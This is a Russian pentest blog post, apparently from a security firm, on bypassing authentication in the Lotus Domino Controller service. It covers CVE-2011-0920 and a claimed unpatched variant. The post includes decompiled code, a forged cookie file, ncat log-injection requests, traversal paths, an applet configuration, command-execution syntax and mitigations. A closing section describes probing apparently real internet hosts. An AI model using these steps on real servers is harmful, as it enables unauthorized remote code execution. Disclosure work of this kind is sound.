Проникновение в Lotus Domino

в 8:15, , рубрики: 0day, blackhat, dsecrg, Lotus, Блог компании «Digital Security», информационная безопасность, метки: , , ,

Эксплуатация уязвимостей сервиса Lotus Domino Controller

В последнее время я часто рассказываю истории о том, как на обыкновенном пен-тесте удается выявить 0-day уязвимость в популярном ПО или разработать приватный эксплойт. На самом деле такого рода задачи решаются при пен-тесте редко и выборочно, и на это есть свои причины.

И всё же я хочу поделиться историей (ага, байкой) о том, как при решении именно таких задач пен-тест выходит за рамки монотонного сканирования, брутфорса и запихивания кавычек в параметры веб-приложения. А именно, в этом посте будет рассказано о простой баге в Lotus Domino Server Controller, о том, как был создан приватный эксплойт, а также найдена проблема нулевого дня, актуальная и на сегодняшний день.

Проникновение в Lotus Domino

Тест на проникновение

Итак, тест на проникновение. Эта тема стабильно обмусоливается каждый год на различных блогах и различными специалистами. И это неспроста: данная услуга имеет много различных тонкостей и подводных камней. Но я не буду мутить воду о необходимости, полезности и содержании этой штуковины, я хочу поговорить о самой работе. О том, что делает пен-тест именно пен-тестом.

Любой пен-тестер решает множество подзадач с целью выполнения основной задачи – реализации атак на компоненты информационной системы. При этом я оставлю за скобками подробное описание и возможные вариации на тему основной задачи, так как это опять же сейчас неинтересно, а вот две-три подзадачи, что являются “state-of-art”, я выделю:

  • Поиск (и подтверждение) уязвимости
  • Разработка эксплойта
  • Эксплуатация уязвимости

Так случилось, что во время одного из пен-теcтов обнаружился целый набор уязвимостей без публично доступных эксплойтов, даже без PoC’ов или детальных описаний проблемы. Поэтому для одной такой уязвимости было решено узнать все самим и написать приватный эксплойт.

Обход аутентификации в Lotus Domino Server Controller

CVE-2011-0920

Данная уязвимость была найдена Патриком Карлссоном и продана с потрохами в ZDI. Так что описание с сайта ZDI — это единственная информация, что у нас есть. Краткий пересказ:

«Уязвимость в сервисе Domino Controller, порт TCP 2050. В процессе аутентификации атакующий может установить значение параметра COOKIEFILE как путь UNC, таким образом установить контроль как над файлом источником базовых аутентификационные данных, так и над вводимыми при аутентификации значениями. Это позволяет обойти механизм проверки аутентификации и получить доступ к консоли администрирования. Ведет к исполнению кода с привилегиями SYSTEM».

Описание хоть и не детальное, но говорит достаточно о том, что происходит. Значит, можно приконнектиться к порту под номером 2050, подсунуть по какому-то протоколу параметр COOKIEFILE, указывая путь типа \ATTACKER_HOSTFILE. А в этом файле разместить логин и пароль и, используя эти же логин и пароль, войти в систему. Осталось совсем чуть-чуть – разобрать протокол и формат файла. По сканам Nmap можно определить, что вся работа происходит по SSL, а вот протокол общения в SSL-обертке предстоит выяснить. На самом деле это крайне просто: достаточно отметить, что сервис Lotus Domino Controller полностью написан на Java, причем как клиентская, так и серверная часть, все в одном файле:

C:Program FilesIBMLotusDominoDatadominojavadconsole.jar

Данный файл легко декомпилируем (например, с помощью DJ Java Decompiler, хотя он не так хорош, как хотелось бы). После этого мы ищем код, отвечающий за соединение и обработку запросов. Обработка запросов осуществляется в классе NewClient. В этом классе парсятся plaintext-запросы вида: #COMMAND param1,param2,… Все команды описываются отдельно:

    . . .
    // Функция ReadFromUser();
    // s1 – строка из 2050/tcp
    if(s1.equals("#EXIT"))
        return 2;
    . . .
    if(s1.equals("#APPLET"))
        return 6;
    . . .
    if(s1.equals("#COOKIEFILE")) 
            if(stringtokenizer.hasMoreTokens()) //есть ли после пробела ещё что-то
                // Формат: #COOKIEFILE <cookieFilename>
   	        cookieFilename = stringtokenizer.nextToken().trim(); //считываем
   	        return 7;
    . . .
    if(s1.equals("#UI"))
        if(stringtokenizer.hasMoreTokens())
            // Формат: #UI <login>,<password>
            usr = stringtokenizer.nextToken(",").trim(); //Login
        if(usr == null)
            return 4;
        if(stringtokenizer.hasMoreTokens())
            // passwords
            pwd = stringtokenizer.nextToken().trim(); //Password
        return 0;

Вот мы и встретили параметр COOKIEFILE. Однако одного его недостаточно. Рассмотрим основной цикл:

     do           
        {
	    
	    int i = ReadFromUser(); //Point.1
 
            if(i == 2)
                break; //if #EXIT
            . . .
            if(i == 6) //if #APPLET Point.2
            {
                appletConnection = true;
                continue;
            }
            . . .
	        // вырезан поиск логина в admindata.xml
            . . . 
           if(userinfo == null) //Point.9
           {
	              // Если логина нет в admindata.xml
                 WriteToUser("NOT_REG_ADMIN");
                 continue;
           }

           . . .
            if(!appletConnection) //Point.2
		         flag = vrfyPwd.verifyUserPassword(pwd, userinfo.userPWD())
            else 			
  		flag = verifyAppletUserCookie(usr, pwd); // if #APPLET

            . . .

                   
            if(flag) 
   		WriteToUser("VALID_USER");
             else 
   		WriteToUser("WRONG_PASSWORD");

         } while(true); 

if(flag) 
{
       	//Функционал консоли
. . .
}else
{
           //Отключение
}

Как видно, у нас есть ДВА варианта аутентификации (Point.3). Первый – обыкновенный, по логину и паролю, а второй – так же по логину и паролю, но с использованием COOKIEFILE. При этом второй вариант выбирается, только если до этого была команда #APPLET (Point.2). Все команды считываются поочерёдно в цикле (Point.1). Поэтому одного лишь #COOKIEFILE недостаточно.

Теперь мы понимаем формат протокола, каков же формат самого файла? Рассмотрим функцию verifyAppletUserCookie:

File file = new File(cookieFilename); //Point.4
	. . . 
inputstreamreader = new InputStreamReader(new    FileInputStream(file), "UTF8");       	
	 . . .
inputstreamreader.read(ac, 0, i); //Point.5
        	. . .
String s7 = new String(ac); 
	. . .
  do {
             if((j = s7.indexOf("<user ", j)) <= 0)  //Point.6
          	break;
             int k = s7.indexOf(">", j);       
             if(k == -1)
                 break;
             String s2 = getStringToken(s7, "name="", """, j, k); //Point.7
            . . .
             String s3 = getStringToken(s7, "cookie="", """, j, k);
            . . .
             String s4 = getStringToken(s7, "address="", """, j, k);
	    . . .
             //Point.8
              if(usr.equalsIgnoreCase(s2) && pwd.equalsIgnoreCase(s3) &&
                 appletUserAddress.equalsIgnoreCase(s4))
              {
                     flag = true;
                     break;
              }
 	. . .
      } while(true);

Видно, что в строчке, откомментированной как Point.4, открывается файл, имя которого задано пользователем (переменная инициализирована в функции ReadFromUser() при разборе команды #COOKIEFILE). Причем ввод никак не фильтруется, тут может быть хоть UNC-путь. Далее происходит считывание файла в строку s7 (Point.5). Далее эта строка обрабатывается в цикле, где видно, что это обыкновенный XML-файл вида:

<user name=”usr” cookie=”pass” address=”value”>

После чего в строчке, откомментированной как Point.8, происходит сравнение ввода логина, пароля и значения адреса (#ADDRESS) с соответствующими значениями атрибутов тэга . Так как данный файл может быть считан с удалённого хоста (по подсунутому UNC-пути), то атака становится простой и очевидной.

Вот так выглядит эксплуатация уязвимости для ZDI-11-110

1. Создаем файл (cookie.xml):

<user name="admin" cookie="dsecrg" address="10.10.0.1">

2. Используем ncat

Проникновение в Lotus Domino

Команда “#APPLET” говорит серверу, что мы хотим использовать файл cookie для аутентификации. Теперь, когда мы попробуем аутентифицироваться, используя команду “#UI”, сервер попытается открыть файл по пути, который мы ему дали с помощью “#COOKIEFILE”. После чего он оттуда возьмет аутентификационные данные и сравнит с введёнными после команды #UI. После команды “#EXIT” сервер запустит процесс обработки ввода для аутентифицированного пользователя, и можно уже управлять сервисом, а также исполнять команды ОС!

Казалось бы, и сказке конец. Более того, IBM сделала исправление для данной проблемы, и даже не одно! Вот эти новшества появились, начиная с версии 8.5.2FP3 и 8.5.3.

Исправление 1.

Проникновение в Lotus Domino

Теперь для соединения с портом 2050 необходим правильный клиентский сертификат. То есть Ncat и Nmap больше не работают с портом 2050.

Исправление 2.

Проникновение в Lotus Domino

Теперь перед именем файла добавляется “.”, что означает, что UNC мы больше использовать не можем. Уязвимость исправлена. Патч кажется адекватным.

На самом деле это не так. Взглянем на строчки кода ещё раз (откомментированные как Point.6 и Point.7). Функция getStringToken – фактически substring. Отсюда вполне очевидный вопрос: зачем программисты при реализации этого модуля прибегли к написанию собственного XML-парсера? Очевидно, что данный парсер работает с любым файлом, в котором есть соответствующе строки: “<user”, “name=” и т.д. Другими словами, вот то, чего мы ожидаем:

<user name="usr" cookie="psw" address="dsecrg">

Но вот что можно подсунуть, и это так же благополучно распарсится:

trashtrash<user sdsdasdsdname=”usr”sadasd
asdnkasdk cookie=”psw”sssssaddress=”dsecrg”b f %>

Что это значит? Видимо мы нашли ещё одну уязвимость, в том же участке кода. А именно то, что в совокупности с возможностью подключения локального файла (UNC не можем, но traversal directory — еще как можем: #COOKIEFILE ........file -> .......file), можно выполнять инъекцию аутентификационных данных в любые доступные для записи файлы.

Например:

1. Инъектим cookievalues, используя сервис Microsoft HTTPAPI service (спасибо jug за то, что нашел этот лог-файл на боевом, вражеском сервере в нужный момент):

C:> ncat targethost 49152
GET /<user HTTP/1.0

C:> ncat targethost 49152
GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0

Тут rn – это просто Enter!

2. Теперь лог-файл на сервере будет таким:

#Software: Microsoft HTTP API 2.0
#Version: 1.0
#Date: 2011-08-22 09:19:16
#Fields: date time c-ip c-port s-ip s-port cs-version cs-method cs-uri sc-status s-siteid s-reason s-queuename
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9  47001 - - - 400 - BadRequest -
2011-08-22 09:19:16 10.10.10.101 46234 10.10.9.9  47001 HTTP/1.0 GET / 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52902 10.10.9.9  47001 HTTP/1.0 GET <user 404 - NotFound -
2011-08-26 11:53:30 10.10.10.101 52905 10.10.9.9  47001 HTTP/1.0 GET name="admin"cookie="pass"address="http://twitter/asintsov"> 404 - NotFound -
2011-08-22 09:19:16 10.10.10.101 46130 10.10.9.9  47001 - - - 400 - BadRequest -

Два запроса сделаны не случайно, так как парсер от IBM будет искать строку “<user ” с пробелом в конце! А все пробелы в запросе кодируются как “%20”, и поэтому нам это не подходит. Тогда делаем первый запрос так, чтобы после “<user” пробел поставил сам веб-сервер (между запросом и результатом “404 – NotFound”). Вторым запросом допихиваем все остальное.

Отлично, почти все готово, осталось только научиться подсоединяться к 2050, ведь сертификата SSL у нас нет. Или есть? Вспомнив, что dconsole.jar ещё отвечает и за клиентскую часть, как апплет, очевидно, что там должен быть сертификат – и он там есть. И ключ там есть. Всё там есть. В принципе, можно выдернуть ключ и написать эксплойт, но если лень, то можно прямо этот апплет использовать:

<applet name = "DominoConsole"
code = "lotus.domino.console.DominoConsoleApplet.class"
codebase = "http://127.0.0.1/domjava/"
archive = "dconsole.jar"
width = "100%"
height = "99%“>
<PARAM NAME="debug" VALUE="true">
<PARAM NAME="port" VALUE="2050">
<PARAM NAME="useraddress" VALUE="http://twitter/asintsov">
<PARAM NAME="username" VALUE="admin">
<PARAM NAME="cookiefile" VALUE="......windowssystem32logfileshttperrhttperr1.log">
<PARAM NAME="cookievalue" VALUE="pass">
<PARAM NAME="onLoad" VALUE="onLoadConsole">
</applet>

Подгружаем этот апплет в любом браузере, добавляем редирект с локального порта 2050 на удалённый, и всё – эффект достигнут. Видеопример:

Выполнение команд из консоли. Вариант 1:

LOAD cmd.exe /c command

Выполнение команд из консоли. Вариант 2:

$ command

Защита:

  • Порт 2050 вообще-то надо фильтровать.
  • Запретить опасные команды в консоли с помощью установки дополнительного пароля консоли (защитит от выполнения команд из консоли в первом варианте).
  • Проверить файл admindata.xml. Для каждого пользователя надо проверить привилегии. Значения 4, 25 или 26 говорят о том, что у данного пользователя есть права на исполнение системных команд! Удалив их, мы защитимся от выполнения команд из консоли во втором варианте.
Примечание:

Атакующему во всех перечисленных вариантах для успешного обхода аутентификаций необходимо знать правильное значение логина. В любом случае, его можно перебрать, так как в случае несуществующего логина выдаётся ошибка NOT_REG_ADMIN, а если неверен пароль, то WRONG_PASSWORD (Point.9).

P.S. Атака из Интернет

Подсеть московского вуза:

Проникновение в Lotus Domino

Домен .gov, или Американские учёные не любят межсетевых экранов:

Проникновение в Lotus Domino

Даже сама IBM не может отфильтровать порт 2050 и обновить Lotus (+ демонстрация угадывания «логина»):

Проникновение в Lotus Domino

Выводы

  • Патчи не всегда решают проблему до конца.
  • Межсетевой экран — лучшая защита.
  • Не стоит игнорировать встроенные параметры безопасности.

… и тогда даже 0day уязвимости не страшны.

Автор: d00kie


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js